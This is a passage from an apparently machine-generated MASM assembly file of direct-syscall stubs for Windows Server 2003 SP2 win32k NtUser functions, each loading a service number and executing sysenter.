_5_2_3790_sp2_windows_2003_NtUserRegisterRawInputDevices PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4585
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserRegisterRawInputDevices ENDP
; ULONG __stdcall NtUserRegisterTasklist( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtUserRegisterTasklist PROC STDCALL arg_01:DWORD
mov eax , 4586
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserRegisterTasklist ENDP
; ULONG __stdcall NtUserRegisterWindowMessage( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtUserRegisterWindowMessage PROC STDCALL arg_01:DWORD
mov eax , 4587
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserRegisterWindowMessage ENDP
; ULONG __stdcall NtUserRemoveMenu( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtUserRemoveMenu PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4588
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserRemoveMenu ENDP
; ULONG __stdcall NtUserRemoveProp( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtUserRemoveProp PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4589
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserRemoveProp ENDP
; ULONG __stdcall NtUserResolveDesktop( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtUserResolveDesktop PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4590
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserResolveDesktop ENDP
; ULONG __stdcall NtUserResolveDesktopForWOW( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtUserResolveDesktopForWOW PROC STDCALL arg_01:DWORD
mov eax , 4591
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserResolveDesktopForWOW ENDP
; ULONG __stdcall NtUserSBGetParms( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtUserSBGetParms PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4592
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserSBGetParms ENDP
; ULONG __stdcall NtUserScrollDC( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 );
_5_2_3790_sp2_windows_2003_NtUserScrollDC PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD
mov eax , 4593
call _label_sysenter
ret 28
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserScrollDC ENDP
; ULONG __stdcall NtUserScrollWindowEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 );
_5_2_3790_sp2_windows_2003_NtUserScrollWindowEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD
mov eax , 4594
call _label_sysenter
ret 32
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserScrollWindowEx ENDP
; ULONG __stdcall NtUserSelectPalette( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtUserSelectPalette PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4595
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserSelectPalette ENDP
; ULONG __stdcall NtUserSendInput( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtUserSendInput PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4596
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserSendInput ENDP
; ULONG __stdcall NtUserSetActiveWindow( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtUserSetActiveWindow PROC STDCALL arg_01:DWORD
mov eax , 4597
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserSetActiveWindow ENDP
; ULONG __stdcall NtUserSetAppImeLevel( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtUserSetAppImeLevel PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4598
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserSetAppImeLevel ENDP
; ULONG __stdcall NtUserSetCapture( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtUserSetCapture PROC STDCALL arg_01:DWORD
mov eax , 4599
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserSetCapture ENDP
; ULONG __stdcall NtUserSetClassLong( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtUserSetClassLong PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4600
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserSetClassLong ENDP
; ULONG __stdcall NtUserSetClassWord( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtUserSetClassWord PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4601
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserSetClassWord ENDP
; ULONG __stdcall NtUserSetClipboardData( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtUserSetClipboardData PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4602
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserSetClipboardData ENDP
; ULONG __stdcall NtUserSetClipboardViewer( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtUserSetClipboardViewer PROC STDCALL arg_01:DWORD
mov eax , 4603
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserSetClipboardViewer ENDP
; ULONG __stdcall NtUserSetConsoleReserveKeys( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtUserSetConsoleReserveKeys PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4604
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserSetConsoleReserveKeys ENDP
; ULONG __stdcall NtUserSetCursor( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtUserSetCursor PROC STDCALL arg_01:DWORD
mov eax , 4605
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserSetCursor ENDP
; ULONG __stdcall NtUserSetCursorContents( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtUserSetCursorContents PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4606
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserSetCursorContents ENDP
; ULONG __stdcall NtUserSetCursorIconData( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtUserSetCursorIconData PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4607
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserSetCursorIconData ENDP
; ULONG __stdcall NtUserSetFocus( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtUserSetFocus PROC STDCALL arg_01:DWORD
mov eax , 4608
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserSetFocus ENDP
; ULONG __stdcall NtUserSetImeHotKey( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_5_2_3790_sp2_windows_2003_NtUserSetImeHotKey PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 4609
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserSetImeHotKey ENDP
; ULONG __stdcall NtUserSetImeInfoEx( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtUserSetImeInfoEx PROC STDCALL arg_01:DWORD
mov eax , 4610
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserSetImeInfoEx ENDP
; ULONG __stdcall NtUserSetImeOwnerWindow( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtUserSetImeOwnerWindow PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4611
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserSetImeOwnerWindow ENDP
; ULONG __stdcall NtUserSetInformationProcess( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtUserSetInformationProcess PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4612
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserSetInformationProcess ENDP
; ULONG __stdcall NtUserSetInformationThread( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtUserSetInformationThread PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4613
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserSetInformationThread ENDP
; ULONG __stdcall NtUserSetInternalWindowPos( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtUserSetInternalWindowPos PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4614
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserSetInternalWindowPos ENDP
; ULONG __stdcall NtUserSetKeyboardState( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtUserSetKeyboardState PROC STDCALL arg_01:DWORD
mov eax , 4615
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserSetKeyboardState ENDP
; ULONG __stdcall NtUserSetLogonNotifyWindow( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtUserSetLogonNotifyWindow PROC STDCALL arg_01:DWORD
mov eax , 4616
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserSetLogonNotifyWindow ENDP
; ULONG __stdcall NtUserSetMenu( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtUserSetMenu PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4617
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserSetMenu ENDP
; ULONG __stdcall NtUserSetMenuContextHelpId( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtUserSetMenuContextHelpId PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4618
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserSetMenuContextHelpId ENDP
; ULONG __stdcall NtUserSetMenuDefaultItem( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtUserSetMenuDefaultItem PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4619
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserSetMenuDefaultItem ENDP
; ULONG __stdcall NtUserSetMenuFlagRtoL( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtUserSetMenuFlagRtoL PROC STDCALL arg_01:DWORD
mov eax , 4620
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserSetMenuFlagRtoL ENDP
; ULONG __stdcall NtUserSetObjectInformation( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtUserSetObjectInformation PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4621
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserSetObjectInformation ENDP
; ULONG __stdcall NtUserSetParent( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtUserSetParent PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4622
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserSetParent ENDP
; ULONG __stdcall NtUserSetProcessWindowStation( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtUserSetProcessWindowStation PROC STDCALL arg_01:DWORD
mov eax , 4623
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserSetProcessWindowStation ENDP
; ULONG __stdcall NtUserSetProp( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtUserSetProp PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4624
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserSetProp ENDP
; ULONG __stdcall NtUserSetScrollInfo( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtUserSetScrollInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4625
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserSetScrollInfo ENDP
; ULONG __stdcall NtUserSetShellWindowEx( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtUserSetShellWindowEx PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4626
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserSetShellWindowEx ENDP
; ULONG __stdcall NtUserSetSysColors( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtUserSetSysColors PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4627
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserSetSysColors ENDP
; ULONG __stdcall NtUserSetSystemCursor( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtUserSetSystemCursor PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4628
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserSetSystemCursor ENDP
; ULONG __stdcall NtUserSetSystemMenu( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtUserSetSystemMenu PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4629
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserSetSystemMenu ENDP
; ULONG __stdcall NtUserSetSystemTimer( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtUserSetSystemTimer PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4630
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserSetSystemTimer ENDP
; ULONG __stdcall NtUserSetThreadDesktop( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtUserSetThreadDesktop PROC STDCALL arg_01:DWORD
mov eax , 4631
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserSetThreadDesktop ENDP
; ULONG __stdcall NtUserSetThreadLayoutHandles( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtUserSetThreadLayoutHandles PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4632
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserSetThreadLayoutHandles ENDP
; ULONG __stdcall NtUserSetThreadState( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtUserSetThreadState PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4633
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserSetThreadState ENDP
; ULONG __stdcall NtUserSetTimer( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtUserSetTimer PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4634
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserSetTimer ENDP
; ULONG __stdcall NtUserSetWindowFNID( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtUserSetWindowFNID PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4635
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserSetWindowFNID ENDP
; ULONG __stdcall NtUserSetWindowLong( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtUserSetWindowLong PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4636
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserSetWindowLong ENDP
; ULONG __stdcall NtUserSetWindowPlacement( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtUserSetWindowPlacement PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4637
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserSetWindowPlacement ENDP
; ULONG __stdcall NtUserSetWindowPos( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 );
_5_2_3790_sp2_windows_2003_NtUserSetWindowPos PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD
mov eax , 4638
call _label_sysenter
ret 28
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserSetWindowPos ENDP
; ULONG __stdcall NtUserSetWindowRgn( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtUserSetWindowRgn PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4639
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserSetWindowRgn ENDP
; ULONG __stdcall NtUserSetWindowsHookAW( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtUserSetWindowsHookAW PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4640
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserSetWindowsHookAW ENDP
; ULONG __stdcall NtUserSetWindowsHookEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
_5_2_3790_sp2_windows_2003_NtUserSetWindowsHookEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 4641
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserSetWindowsHookEx ENDP
; ULONG __stdcall NtUserSetWindowStationUser( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtUserSetWindowStationUser PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4642
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserSetWindowStationUser ENDP
; ULONG __stdcall NtUserSetWindowWord( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtUserSetWindowWord PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4643
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserSetWindowWord ENDP
; ULONG __stdcall NtUserSetWinEventHook( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 );
_5_2_3790_sp2_windows_2003_NtUserSetWinEventHook PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD
mov eax , 4644
call _label_sysenter
ret 32
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserSetWinEventHook ENDP
; ULONG __stdcall NtUserShowCaret( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtUserShowCaret PROC STDCALL arg_01:DWORD
mov eax , 4645
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserShowCaret ENDP
; ULONG __stdcall NtUserShowScrollBar( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtUserShowScrollBar PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4646
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserShowScrollBar ENDP
; ULONG __stdcall NtUserShowWindow( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtUserShowWindow PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4647
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserShowWindow ENDP
; ULONG __stdcall NtUserShowWindowAsync( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtUserShowWindowAsync PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4648
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserShowWindowAsync ENDP
; ULONG __stdcall NtUserSoundSentry( );
_5_2_3790_sp2_windows_2003_NtUserSoundSentry PROC STDCALL
mov eax , 4649
call _label_sysenter
ret
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserSoundSentry ENDP
; ULONG __stdcall NtUserSwitchDesktop( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtUserSwitchDesktop PROC STDCALL arg_01:DWORD
mov eax , 4650
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserSwitchDesktop ENDP
; ULONG __stdcall NtUserSystemParametersInfo( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtUserSystemParametersInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4651
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserSystemParametersInfo ENDP
; ULONG __stdcall NtUserTestForInteractiveUser( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtUserTestForInteractiveUser PROC STDCALL arg_01:DWORD
mov eax , 4652
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserTestForInteractiveUser ENDP
; ULONG __stdcall NtUserThunkedMenuInfo( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtUserThunkedMenuInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4653
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserThunkedMenuInfo ENDP
; ULONG __stdcall NtUserThunkedMenuItemInfo( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
_5_2_3790_sp2_windows_2003_NtUserThunkedMenuItemInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 4654
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserThunkedMenuItemInfo ENDP
; ULONG __stdcall NtUserToUnicodeEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 );
